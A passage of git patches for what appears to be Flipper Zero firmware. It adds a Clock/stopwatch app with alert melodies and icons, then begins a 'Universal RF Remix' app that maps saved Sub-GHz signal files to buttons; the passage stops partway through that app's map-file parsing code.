applications/clock_app/clock_app.c create mode 100644 assets/icons/MainMenu/Clock_14/frame_01.png create mode 100644 assets/icons/MainMenu/Clock_14/frame_02.png create mode 100644 assets/icons/MainMenu/Clock_14/frame_03.png create mode 100644 assets/icons/MainMenu/Clock_14/frame_04.png create mode 100644 assets/icons/MainMenu/Clock_14/frame_05.png create mode 100644 assets/icons/MainMenu/Clock_14/frame_06.png create mode 100644 assets/icons/MainMenu/Clock_14/frame_07.png create mode 100644 assets/icons/MainMenu/Clock_14/frame_08.png create mode 100644 assets/icons/MainMenu/Clock_14/frame_rate diff --git a/applications/applications.c b/applications/applications.c index 115eeadb4..8de2332d1 100644 --- a/applications/applications.c +++ b/applications/applications.c @@ -49,6 +49,7 @@ extern int32_t file_browser_app(void* p); // Plugins extern int32_t music_player_app(void* p); extern int32_t wav_player_app(void* p); +extern int32_t clock_app(void *p); // Games extern int32_t snake_game_app(void* p); @@ -210,6 +211,14 @@ const size_t FLIPPER_SYSTEM_APPS_COUNT = COUNT_OF(FLIPPER_SYSTEM_APPS); // Main menu APP const FlipperApplication FLIPPER_APPS[] = { +#ifdef APP_CLOCK + {.app = clock_app, + .name = "Clock", + .stack_size = 2048, + .icon = &A_Clock_14, + .flags = FlipperApplicationFlagDefault}, +#endif + #ifdef APP_SUBGHZ {.app = subghz_app, .name = "Sub-GHz", diff --git a/applications/applications.mk b/applications/applications.mk index b16bd1f65..35a1ff1cd 100644 --- a/applications/applications.mk +++ b/applications/applications.mk @@ -49,6 +49,7 @@ APP_MUSIC_PLAYER = 1 APP_SNAKE_GAME = 1 APP_WAV_PLAYER = 1 APP_TETRIS_GAME = 1 +APP_CLOCK = 1 # Debug APP_ACCESSOR = 1 @@ -254,6 +255,12 @@ CFLAGS += -DAPP_TETRIS_GAME SRV_GUI = 1 endif +APP_CLOCK ?= 0 +ifeq ($(APP_CLOCK), 1) +CFLAGS += -DAPP_CLOCK +SRV_GUI = 1 +endif + APP_IBUTTON ?= 0 ifeq ($(APP_IBUTTON), 1) CFLAGS += -DAPP_IBUTTON diff --git a/applications/clock_app/clock_app.c b/applications/clock_app/clock_app.c new file mode 100644 index 000000000..4adacb889 --- /dev/null +++ b/applications/clock_app/clock_app.c @@ -0,0 +1,282 @@ +#include +#include +#include +#include +#include +#include +#include + +#define TAG "Clock" + +bool timerStarted=false; +int timerSecs=0; +int songSelect=2; + +typedef enum { + EventTypeTick, + EventTypeKey, +} EventType; + +typedef struct { + EventType type; + InputEvent input; +} PluginEvent; + +typedef struct { + FuriHalRtcDateTime datetime; +} ClockState; + +static void clock_input_callback(InputEvent* input_event, osMessageQueueId_t event_queue) { + furi_assert(event_queue); + PluginEvent event = {.type = EventTypeKey, .input = *input_event}; + osMessageQueuePut(event_queue, &event, 0, osWaitForever); +} + +static void clock_render_callback(Canvas* const canvas, void* ctx) { + canvas_clear(canvas); + canvas_set_color(canvas, ColorBlack); + ClockState* state = (ClockState*)acquire_mutex((ValueMutex*)ctx, 25); + char strings[3][20]; + int curMin = (timerSecs/60); + int curSec = timerSecs-(curMin *60); + sprintf(strings[0], "%.4d-%.2d-%.2d", state->datetime.year, state->datetime.month, state->datetime.day); + sprintf(strings[1], "%.2d:%.2d:%.2d", state->datetime.hour, state->datetime.minute, state->datetime.second); + sprintf(strings[2], "%.2d:%.2d", curMin , curSec); + release_mutex((ValueMutex*)ctx, state); + canvas_set_font(canvas, FontBigNumbers); + canvas_draw_str_aligned(canvas, 64, 8, AlignCenter, AlignCenter, strings[1]); + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned(canvas, 64, 20, AlignCenter, AlignTop, strings[0]); + // elements_button_left(canvas, "Alarms"); + // elements_button_right(canvas, "Settings"); + // elements_button_center(canvas, "Reset"); + canvas_set_font(canvas, FontBigNumbers); + canvas_draw_str_aligned(canvas, 64, 32, AlignCenter, AlignTop, strings[2]); + canvas_set_font(canvas, FontSecondary); + if(timerStarted) { + elements_button_center(canvas, "Stop"); + } else { + elements_button_center(canvas, "Start"); + } + if(songSelect==0) { + elements_button_right(canvas, "S:OFF"); + } else if(songSelect==1) { + elements_button_right(canvas, "S:PoRa"); + } else if(songSelect==2) { + elements_button_right(canvas, "S:Mario"); + } else if(songSelect==3) { + elements_button_right(canvas, "S:ByMin"); + } +} + +static void clock_state_init(ClockState* const state) { + furi_hal_rtc_get_datetime(&state->datetime); +} + +const NotificationSequence clock_alert_silent = { + &message_force_vibro_setting_on, &message_vibro_on, &message_red_255, &message_green_255, &message_blue_255, &message_display_backlight_on, + &message_vibro_off, &message_display_backlight_off, &message_delay_50, &message_display_backlight_on, NULL, +}; +const NotificationSequence clock_alert_pr1 = { + &message_force_speaker_volume_setting_1f, + &message_force_vibro_setting_on, &message_vibro_on, &message_red_255, &message_green_255, &message_blue_255, &message_display_backlight_on, + &message_note_g5, &message_delay_100, &message_delay_100, &message_delay_50, &message_sound_off, + &message_vibro_off, &message_display_backlight_off, &message_delay_50, &message_display_backlight_on, + &message_note_g5, &message_delay_100, &message_delay_100, &message_delay_50, &message_sound_off, NULL, +}; +const NotificationSequence clock_alert_pr2 = { + &message_force_speaker_volume_setting_1f, + &message_force_vibro_setting_on, &message_vibro_on, + &message_note_fs5, &message_delay_100, &message_delay_100, &message_sound_off, + &message_display_backlight_off, &message_vibro_off, &message_delay_50, + &message_note_g5, &message_delay_100, &message_delay_100, &message_sound_off, + &message_display_backlight_on, &message_delay_50, + &message_note_a5, &message_delay_100, &message_delay_100, &message_sound_off, NULL, +}; +const NotificationSequence clock_alert_pr3 = { + &message_force_speaker_volume_setting_1f, + &message_display_backlight_off, + &message_note_g5, &message_delay_100, &message_delay_100, &message_sound_off, + &message_delay_50, &message_red_255, &message_green_255, &message_blue_255, &message_display_backlight_on, &message_delay_100, NULL, +}; +const NotificationSequence clock_alert_mario1 = { + &message_force_speaker_volume_setting_1f, + &message_force_vibro_setting_on, &message_vibro_on, &message_red_255, &message_green_255, &message_blue_255, &message_display_backlight_on, + &message_note_e5, &message_delay_100, &message_delay_100, &message_delay_50, &message_sound_off, + &message_note_e5, &message_delay_100, &message_delay_100, &message_delay_50, &message_sound_off, + &message_vibro_off, &message_display_backlight_off, &message_delay_100, &message_display_backlight_on, &message_delay_100, + &message_note_e5, &message_delay_100, &message_delay_100, &message_delay_50, &message_sound_off, NULL, +}; +const NotificationSequence clock_alert_mario2 = { + &message_force_speaker_volume_setting_1f, + &message_force_vibro_setting_on, &message_vibro_on, &message_display_backlight_off, &message_delay_100, &message_display_backlight_on, &message_delay_100, + &message_note_c5, &message_delay_100, &message_delay_100, &message_sound_off, + &message_display_backlight_off, &message_vibro_off, &message_delay_50, + &message_note_e5, &message_delay_100, &message_delay_100, &message_sound_off, + &message_display_backlight_on, NULL, +}; +const NotificationSequence clock_alert_mario3 = { + &message_force_speaker_volume_setting_1f, + &message_display_backlight_off, + &message_note_g5, &message_delay_100, &message_delay_100, &message_delay_100, &message_delay_100, &message_sound_off, + &message_delay_50, &message_red_255, &message_green_255, &message_blue_255, &message_display_backlight_on, &message_delay_100, + &message_note_g4, &message_delay_100, &message_delay_100, &message_delay_100, &message_delay_100, &message_sound_off, + NULL, +}; +const NotificationSequence clock_alert_perMin = { + &message_force_speaker_volume_setting_1f, + &message_note_g5, &message_delay_100, &message_delay_50, &message_sound_off, + &message_delay_10, + &message_note_g4, &message_delay_50, &message_delay_10, &message_delay_10, &message_sound_off, + NULL, +}; +const NotificationSequence clock_alert_startStop = { + &message_force_speaker_volume_setting_1f, + &message_note_d6, &message_delay_100, &message_delay_10, &message_delay_10, &message_sound_off, NULL, +}; + +// Runs every 1000ms by default +static void clock_tick(void* ctx) { + furi_assert(ctx); + osMessageQueueId_t event_queue = ctx; + PluginEvent event = {.type = EventTypeTick}; + if(timerStarted) { + timerSecs=timerSecs+1; + if(timerSecs%60==0 && songSelect!=0) { + NotificationApp* notification = furi_record_open("notification"); + notification_message(notification, &clock_alert_perMin); + furi_record_close("notification"); + } + if(songSelect==1 ) { + if(timerSecs==80) { + NotificationApp* notification = furi_record_open("notification"); + notification_message(notification, &clock_alert_pr1); + furi_record_close("notification"); + } + if(timerSecs==81) { + NotificationApp* notification = furi_record_open("notification"); + notification_message(notification, &clock_alert_pr2); + furi_record_close("notification"); + } + if(timerSecs==82) { + NotificationApp* notification = furi_record_open("notification"); + notification_message(notification, &clock_alert_pr3); + furi_record_close("notification"); + } + } else if(songSelect==2 ) { + if(timerSecs==80) { + NotificationApp* notification = furi_record_open("notification"); + notification_message(notification, &clock_alert_mario1); + furi_record_close("notification"); + } + if(timerSecs==81) { + NotificationApp* notification = furi_record_open("notification"); + notification_message(notification, &clock_alert_mario2); + furi_record_close("notification"); + } + if(timerSecs==82) { + NotificationApp* notification = furi_record_open("notification"); + notification_message(notification, &clock_alert_mario3); + furi_record_close("notification"); + } + } else { + if(timerSecs==80) { + NotificationApp* notification = furi_record_open("notification"); + notification_message(notification, &clock_alert_silent); + furi_record_close("notification"); + } + } + } + // It's OK to loose this event if system overloaded + osMessageQueuePut(event_queue, &event, 0, 0); +} + +int32_t clock_app(void* p) { + UNUSED(p); + timerStarted=false; + timerSecs=0; + songSelect=2; + osMessageQueueId_t event_queue = osMessageQueueNew(8, sizeof(PluginEvent), NULL); + ClockState* plugin_state = malloc(sizeof(ClockState)); + clock_state_init(plugin_state); + ValueMutex state_mutex; + if (!init_mutex(&state_mutex, plugin_state, sizeof(ClockState))) { + FURI_LOG_E(TAG, "cannot create mutex\r\n"); + free(plugin_state); + return 255; + } + // Set system callbacks + ViewPort* view_port = view_port_alloc(); + view_port_draw_callback_set(view_port, clock_render_callback, &state_mutex); + view_port_input_callback_set(view_port, clock_input_callback, event_queue); + osTimerId_t timer = osTimerNew(clock_tick, osTimerPeriodic, event_queue, NULL); + osTimerStart(timer, osKernelGetTickFreq()); + // Open GUI and register view_port + Gui* gui = furi_record_open("gui"); + gui_add_view_port(gui, view_port, GuiLayerFullscreen); + // Main loop + PluginEvent event; + for (bool processing = true; processing;) { + osStatus_t event_status = osMessageQueueGet(event_queue, &event, NULL, 100); + ClockState* plugin_state = (ClockState*)acquire_mutex_block(&state_mutex); + if (event_status == osOK) { + // press events + if (event.type == EventTypeKey) { + if (event.input.type == InputTypeShort || event.input.type == InputTypeRepeat) { + switch(event.input.key) { + case InputKeyUp: + if(timerStarted) timerSecs=timerSecs+5; + break; + case InputKeyDown: + if(timerStarted) timerSecs=timerSecs-5; + break; + case InputKeyRight: + if(songSelect==0) { + songSelect=1; + } else if(songSelect==1) { + songSelect=2; + } else if(songSelect==2) { + songSelect=3; + } else { + songSelect=0; + } + break; + case InputKeyLeft: + break; + case InputKeyOk: + if(songSelect==1 || songSelect==2 || songSelect==3) { + NotificationApp* notification = furi_record_open("notification"); + notification_message(notification, &clock_alert_startStop); + furi_record_close("notification"); + } + if(timerStarted) { + timerStarted=false; + timerSecs=0; + } else { + timerStarted=true; + } + break; + case InputKeyBack: + // Exit the plugin + processing = false; + break; + } + } + } else if(event.type == EventTypeTick) { + furi_hal_rtc_get_datetime(&plugin_state->datetime); + } + } else { + FURI_LOG_D(TAG, "osMessageQueue: event timeout"); + // event timeout + } + view_port_update(view_port); + release_mutex(&state_mutex, plugin_state); + } + osTimerDelete(timer); + view_port_enabled_set(view_port, false); + gui_remove_view_port(gui, view_port); + furi_record_close("gui"); + view_port_free(view_port); + osMessageQueueDelete(event_queue); + return 0; +} \ No newline at end of file diff --git a/assets/compiled/assets_icons.c b/assets/compiled/assets_icons.c index 0ac5b8257..f17cb85ed 100644 --- a/assets/compiled/assets_icons.c +++ b/assets/compiled/assets_icons.c @@ -325,6 +325,16 @@ const uint8_t _A_Bluetooth_14_4[] = {0x00,0x10,0x00,0x30,0x00,0x51,0x00,0x92,0x0 const uint8_t _A_Bluetooth_14_5[] = {0x00,0x10,0x00,0x30,0x00,0x51,0x00,0x92,0x00,0x94,0x04,0x58,0x08,0x30,0x09,0x30,0x09,0x58,0x08,0x94,0x04,0x92,0x00,0x51,0x00,0x30,0x00,0x10,0x00,}; const uint8_t* const _A_Bluetooth_14[] = {_A_Bluetooth_14_0,_A_Bluetooth_14_1,_A_Bluetooth_14_2,_A_Bluetooth_14_3,_A_Bluetooth_14_4,_A_Bluetooth_14_5}; +const uint8_t _A_Clock_14_0[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x49,0x12,0x41,0x10,0x41,0x10,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; +const uint8_t _A_Clock_14_1[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x13,0x81,0x10,0x41,0x10,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; +const uint8_t _A_Clock_14_2[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0xC1,0x11,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; +const uint8_t _A_Clock_14_3[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0x41,0x10,0x81,0x10,0x09,0x13,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; +const uint8_t _A_Clock_14_4[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0x41,0x10,0x41,0x10,0x49,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; +const uint8_t _A_Clock_14_5[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0x41,0x10,0x21,0x10,0x19,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; +const uint8_t _A_Clock_14_6[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0x71,0x10,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; +const uint8_t _A_Clock_14_7[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x19,0x12,0x21,0x10,0x41,0x10,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; +const uint8_t* const _A_Clock_14[] = {_A_Clock_14_0,_A_Clock_14_1,_A_Clock_14_2,_A_Clock_14_3,_A_Clock_14_4,_A_Clock_14_5,_A_Clock_14_6,_A_Clock_14_7}; + const uint8_t _A_Debug_14_0[] = {0x00,0x20,0x01,0xC1,0x20,0x22,0x11,0x24,0x09,0xD9,0x26,0x16,0x1A,0xD8,0x06,0xD8,0x06,0xD6,0x1A,0x19,0x26,0xE4,0x09,0xC2,0x10,0x01,0x20,0x00,0x00,}; const uint8_t _A_Debug_14_1[] = {0x00,0x20,0x01,0xC0,0x00,0x22,0x11,0x25,0x29,0xD8,0x06,0x16,0x1A,0xD9,0x26,0xD8,0x06,0xD4,0x0A,0x12,0x12,0xEA,0x15,0xC5,0x28,0x02,0x10,0x02,0x10,}; const uint8_t _A_Debug_14_2[] = {0x00,0x20,0x01,0xC0,0x00,0x20,0x01,0x24,0x09,0xDA,0x16,0x11,0x22,0xDC,0x0E,0xDA,0x16,0xD9,0x26,0x14,0x0A,0xF2,0x13,0xD1,0x22,0x08,0x04,0x06,0x18,}; @@ -780,6 +790,7 @@ const Icon I_KeySave_24x11 = {.width=24,.height=11,.frame_count=1,.frame_rate=0, const Icon A_125khz_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_125khz_14}; const Icon A_BadUsb_14 = {.width=14,.height=14,.frame_count=11,.frame_rate=3,.frames=_A_BadUsb_14}; const Icon A_Bluetooth_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Bluetooth_14}; +const Icon A_Clock_14 = {.width=14,.height=14,.frame_count=8,.frame_rate=3,.frames=_A_Clock_14}; const Icon A_Debug_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_Debug_14}; const Icon A_FileManager_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,.frames=_A_FileManager_14}; const Icon A_GPIO_14 = {.width=14,.height=14,.frame_count=8,.frame_rate=3,.frames=_A_GPIO_14}; diff --git a/assets/compiled/assets_icons.h b/assets/compiled/assets_icons.h index 26dbf94dd..e32ac4bb0 100644 --- a/assets/compiled/assets_icons.h +++ b/assets/compiled/assets_icons.h @@ -94,6 +94,7 @@ extern const Icon I_KeySave_24x11; extern const Icon A_125khz_14; extern const Icon A_BadUsb_14; extern const Icon A_Bluetooth_14; +extern const Icon A_Clock_14; extern const Icon A_Debug_14; extern const Icon A_FileManager_14; extern const Icon A_GPIO_14; diff --git a/assets/icons/MainMenu/Clock_14/frame_01.png b/assets/icons/MainMenu/Clock_14/frame_01.png new file mode 100644 index 0000000000000000000000000000000000000000..80193281a8efa10211f74f30bdfe71760d8ac7bd GIT binary patch literal 173 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}>7Fi*AsQ2V zgBUv5vMm7l2NEDaAMDTX6QCb+n`_-+(hS!Z?m*mCb%uim8i2fokS z*O~RI+kfG2*6fm(msXU$sFdEl@b4#ZGWG-Ll VF6l4kcM51FgQu&X%Q~loCIF8|LCF9B literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Clock_14/frame_02.png b/assets/icons/MainMenu/Clock_14/frame_02.png new file mode 100644 index 0000000000000000000000000000000000000000..7eb0f8bef9a8c3ba711ad05678ed93619db2647c GIT binary patch literal 176 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}S)MMAAsQ1~ zCwcQR7;-o*eEE0%nKjEchFzKa;8wAZN3-lF zx%Yo~w`!73`98O`R+cMRtzR&%mYwV8IqO&#>p9ujt0%WF-j)92t!4Y~t83m%oSAF& ZgSorMOKw&Y+YO+t44$rjF6*2UngE+`LplHe literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Clock_14/frame_03.png b/assets/icons/MainMenu/Clock_14/frame_03.png new file mode 100644 index 0000000000000000000000000000000000000000..5d4e6243ba7c2ca17645f6ea2484bd3255b8bf68 GIT binary patch literal 175 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}nVv3=AsQ1~ zgB{=ff>U+$WTFMV4Ug?R~iO>pUVV`NBC_g}J7&Tq@ZhjX^sXjz;M|ESgH zHRD-vMW4?b?#)im>mFs6&i;5%rSr+F0=XUkU&P%ly1mM}P569~%FXDv71xr=e+k#e XWqV1zn{O5ew3NZq)z4*}Q$iB}Fn~hf literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Clock_14/frame_04.png b/assets/icons/MainMenu/Clock_14/frame_04.png new file mode 100644 index 0000000000000000000000000000000000000000..8578a5a730f9dc74c02f396a5654d7d1b1bdb92d GIT binary patch literal 175 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}nVv3=AsQ1~ zgB|a?bm8SoDf`81q%P>KuVaI)$KYNqCZWq{O{o=`&Wqs)+Q@_P>a^5p` YrQ2RIB8i4+KuZ}sUHx3vIVCg!0ARa8LI3~& literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Clock_14/frame_05.png b/assets/icons/MainMenu/Clock_14/frame_05.png new file mode 100644 index 0000000000000000000000000000000000000000..9c50fe469ad9e07cc06c2bae4babc0ed0048bc41 GIT binary patch literal 172 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}X`U{QAsQ1~ zgB1r35 Us7J3i0c~XPboFyt=akR{0Iy^|*Z=?k literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Clock_14/frame_06.png b/assets/icons/MainMenu/Clock_14/frame_06.png new file mode 100644 index 0000000000000000000000000000000000000000..4fe0f2c6394cefc5c4bdafc8782253302a6b183c GIT binary patch literal 175 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}nVv3=AsQ2V zgB-aS963(S_+Nk1R<|SjY}I8EZYIxZ3=WoOf=Y9+it1RTvsBADx`>D%@!A4=>O4yXMUKR($X5 z)27V*N9KR|_3c8&og;nOSFZPot9z>a_bQ6D+`06NRo|?>hwZP6RgOl#{qr%+|JE7# YzF;q@&)e7D1zO7B>FVdQ&MBb@0PfdEMF0Q* literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Clock_14/frame_08.png b/assets/icons/MainMenu/Clock_14/frame_08.png new file mode 100644 index 0000000000000000000000000000000000000000..baffdaa70bcc93bac709b77afe0b3a45ba1af6f9 GIT binary patch literal 178 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}Ii4<#AsQ1~ zgBc_F2*zpL_+6TyIY&%}Fn=sxUNMJ~}z$Rl9L+&5k9!?y8=B)@tEr z16e02yfpH!K7Mr1A Date: Wed, 1 Jun 2022 21:40:20 +0300 Subject: [PATCH 258/461] add "universal rf remix" app & icons --- applications/applications.mk | 13 +- applications/unirfremix/unirfremix_app.c | 936 ++++++++++++++++++ assets/compiled/assets_icons.c | 41 + assets/compiled/assets_icons.h | 9 + .../icons/MainMenu/UniRFRemix_14/frame_0.png | Bin 0 -> 170 bytes .../icons/MainMenu/UniRFRemix_14/frame_1.png | Bin 0 -> 165 bytes .../icons/MainMenu/UniRFRemix_14/frame_2.png | Bin 0 -> 171 bytes .../icons/MainMenu/UniRFRemix_14/frame_3.png | Bin 0 -> 168 bytes .../icons/MainMenu/UniRFRemix_14/frame_4.png | Bin 0 -> 169 bytes .../icons/MainMenu/UniRFRemix_14/frame_5.png | Bin 0 -> 166 bytes .../icons/MainMenu/UniRFRemix_14/frame_rate | 1 + .../UniRFRemix/UniRFRemix_Center-14x14.png | Bin 0 -> 166 bytes .../UniRFRemix/UniRFRemix_Down-14x14.png | Bin 0 -> 168 bytes .../UniRFRemix/UniRFRemix_Left-14x14.png | Bin 0 -> 171 bytes .../UniRFRemix_LeftAlignedButtons_9x64.png | Bin 0 -> 2159 bytes .../UniRFRemix/UniRFRemix_Outline-14x14.png | Bin 0 -> 170 bytes .../UniRFRemix/UniRFRemix_Repeat_12x14.png | Bin 0 -> 1634 bytes .../UniRFRemix/UniRFRemix_Right-14x14.png | Bin 0 -> 169 bytes .../icons/UniRFRemix/UniRFRemix_Up-14x14.png | Bin 0 -> 165 bytes assets/resources/Manifest | 3 +- .../resources/subghz/assets/universal_rf_map | 12 + 21 files changed, 1013 insertions(+), 2 deletions(-) create mode 100644 applications/unirfremix/unirfremix_app.c create mode 100644 assets/icons/MainMenu/UniRFRemix_14/frame_0.png create mode 100644 assets/icons/MainMenu/UniRFRemix_14/frame_1.png create mode 100644 assets/icons/MainMenu/UniRFRemix_14/frame_2.png create mode 100644 assets/icons/MainMenu/UniRFRemix_14/frame_3.png create mode 100644 assets/icons/MainMenu/UniRFRemix_14/frame_4.png create mode 100644 assets/icons/MainMenu/UniRFRemix_14/frame_5.png create mode 100644 assets/icons/MainMenu/UniRFRemix_14/frame_rate create mode 100644 assets/icons/UniRFRemix/UniRFRemix_Center-14x14.png create mode 100644 assets/icons/UniRFRemix/UniRFRemix_Down-14x14.png create mode 100644 assets/icons/UniRFRemix/UniRFRemix_Left-14x14.png create mode 100644 assets/icons/UniRFRemix/UniRFRemix_LeftAlignedButtons_9x64.png create mode 100644 assets/icons/UniRFRemix/UniRFRemix_Outline-14x14.png create mode 100644 assets/icons/UniRFRemix/UniRFRemix_Repeat_12x14.png create mode 100644 assets/icons/UniRFRemix/UniRFRemix_Right-14x14.png create mode 100644 assets/icons/UniRFRemix/UniRFRemix_Up-14x14.png create mode 100644 assets/resources/subghz/assets/universal_rf_map diff --git a/applications/applications.mk b/applications/applications.mk index 35a1ff1cd..8cefbd3e4 100644 --- a/applications/applications.mk +++ b/applications/applications.mk @@ -44,12 +44,15 @@ APP_ABOUT = 1 APP_PASSPORT = 1 APP_UPDATER = 1 +# Custom apps +APP_UNIRFREMIX = 1 +APP_CLOCK = 1 + # Plugins APP_MUSIC_PLAYER = 1 APP_SNAKE_GAME = 1 APP_WAV_PLAYER = 1 APP_TETRIS_GAME = 1 -APP_CLOCK = 1 # Debug APP_ACCESSOR = 1 @@ -261,6 +264,14 @@ CFLAGS += -DAPP_CLOCK SRV_GUI = 1 endif +APP_UNIRFREMIX ?= 0 +ifeq ($(APP_UNIRFREMIX), 1) +CFLAGS += -DAPP_UNIRFREMIX +SRV_GUI = 1 +SRV_CLI = 0 +endif + + APP_IBUTTON ?= 0 ifeq ($(APP_IBUTTON), 1) CFLAGS += -DAPP_IBUTTON diff --git a/applications/unirfremix/unirfremix_app.c b/applications/unirfremix/unirfremix_app.c new file mode 100644 index 000000000..dd448fa3a --- /dev/null +++ b/applications/unirfremix/unirfremix_app.c @@ -0,0 +1,936 @@ +#include +#include +#include +#include + +#include +#include + +#include +#include +#include + +#include + +#define TAG "UniRF Remix" + +typedef struct { + osMutexId_t* model_mutex; + + osMessageQueueId_t input_queue; + + ViewPort* view_port; + Gui* gui; + + string_t up_file; + string_t down_file; + string_t left_file; + string_t right_file; + string_t ok_file; + string_t empty; + + string_t up_l; + string_t left_l; + string_t right_l; + string_t down_l; + string_t ok_l; + + char* up_label; + char* down_label; + char* left_label; + char* right_label; + char* ok_label; + + int up_enabled; + int down_enabled; + int left_enabled; + int right_enabled; + int ok_enabled; + + char* send_status; + int send_status_c; + int processing; + int repeat; + int button; + + int file_result; + int file_blank; + + string_t signal; + +} UniRFRemix; + +static char* char_to_str(char* str, int i) { + char* converted = malloc(sizeof(char) * i + 1); + memcpy(converted, str, i); + + converted[i] = '\0'; + + return converted; +} + +static const char* int_to_char(int number) { + switch(number) { + case 0: + return "0"; + case 1: + return "1"; + case 2: + return "2"; + case 3: + return "3"; + case 4: + return "4"; + case 5: + return "5"; + case 6: + return "6"; + case 7: + return "7"; + case 8: + return "8"; + case 9: + return "9"; + default: + return "0"; + } +} + +/*Decided not to use this +//check name for special characters and length +static char* check_special(char* filename) +{ + char stripped[11]; + + //grab length of string + int len = strlen(filename); + + int c = 0; + int i; + + //remove special characters + for (i = 0; i < len; i++) + { + if (isalnum((unsigned)filename[i])) + { + if(c < 11) + { + stripped[c] = filename[i]; + c++; + } + } + } + + stripped[c] = '\0'; + + return char_to_str(stripped, 10); +} +*/ + +//get filename without path +static char* extract_filename(const char* name, int len) { + string_t tmp; + string_init(tmp); + + //remove path + path_extract_filename_no_ext(name, tmp); + + return char_to_str((char*)string_get_cstr(tmp), len); +} + +/* +*check that map file exists +*assign variables to values within map file +*set missing filenames to N/A +*set filename as label if label definitions are missing +*set error flag if all buttons are N/A +*set error flag if missing map file +*/ + +void unirfremix_cfg_set_check(UniRFRemix* app) { + string_t file_name; + string_init(file_name); + string_set(file_name, "/any/subghz/assets/universal_rf_map"); + + Storage* storage = furi_record_open("storage"); + FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); + + app->file_result = 0; + app->file_blank = 0; + + app->up_enabled = 1; + app->down_enabled = 1; + app->left_enabled = 1; + app->right_enabled = 1; + app->ok_enabled = 1; + + int label_len = 12; + + //check that map file exists + if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) + { + FURI_LOG_I(TAG, "Could not open MAP file %s", string_get_cstr(file_name)); + app->file_result = 1; + } + else + { + //Filename Assignment/Check Start + + //assign variables to values within map file + //set missing filenames to N/A + if(!flipper_format_read_string(fff_data_file, "UP", app->up_file)) + { + FURI_LOG_I(TAG, "Could not read UP string"); + + //increment file_blank for processing later + app->file_blank++; + + //set label to "N/A" + app->up_label = "N/A"; + + //disable the ability to process the signal on button press + app->up_enabled = 0; + + FURI_LOG_I(TAG, "Up_Enabled: %d", app->up_enabled); + } + else + { + //check name length for proper screen fit + //then set filename as label. Might be replaced with defined label later on below. + app->up_label = extract_filename(string_get_cstr(app->up_file), label_len); + + FURI_LOG_I(TAG, "UP file: %s", string_get_cstr(app->up_file)); + } + + //Repeat process for Down + if(!flipper_format_read_string(fff_data_file, "DOWN", app->down_file)) + { + FURI_LOG_I(TAG, "Could not read DOWN string"); + + app->file_blank++; + app->down_label = "N/A"; + app->down_enabled = 0; + + FURI_LOG_I(TAG, "Down_Enabled: %d", app->down_enabled); + } + else + { + app->down_label = extract_filename(string_get_cstr(app->down_file), label_len); + + FURI_LOG_I(TAG, "DOWN file: %s", string_get_cstr(app->down_file)); + } + + //Repeat process for Left + if(!flipper_format_read_string(fff_data_file, "LEFT", app->left_file)) + { + FURI_LOG_I(TAG, "Could not read LEFT string"); + + app->file_blank++; + app->left_label = "N/A"; + app->left_enabled = 0; + + FURI_LOG_I(TAG, "Left_Enabled: %d", app->left_enabled); + } + else + { + app->left_label = extract_filename(string_get_cstr(app->left_file), label_len); + + FURI_LOG_I(TAG, "LEFT file: %s", string_get_cstr(app->left_file)); + } + + //Repeat process for Right + if(!flipper_format_read_string(fff_data_file, "RIGHT", app->right_file)) + { + FURI_LOG_I(TAG, "Could not read RIGHT string"); + + app->file_blank++; + app->right_label = "N/A"; + app->right_enabled = 0; + + FURI_LOG_I(TAG, "Right_Enabled: %d", 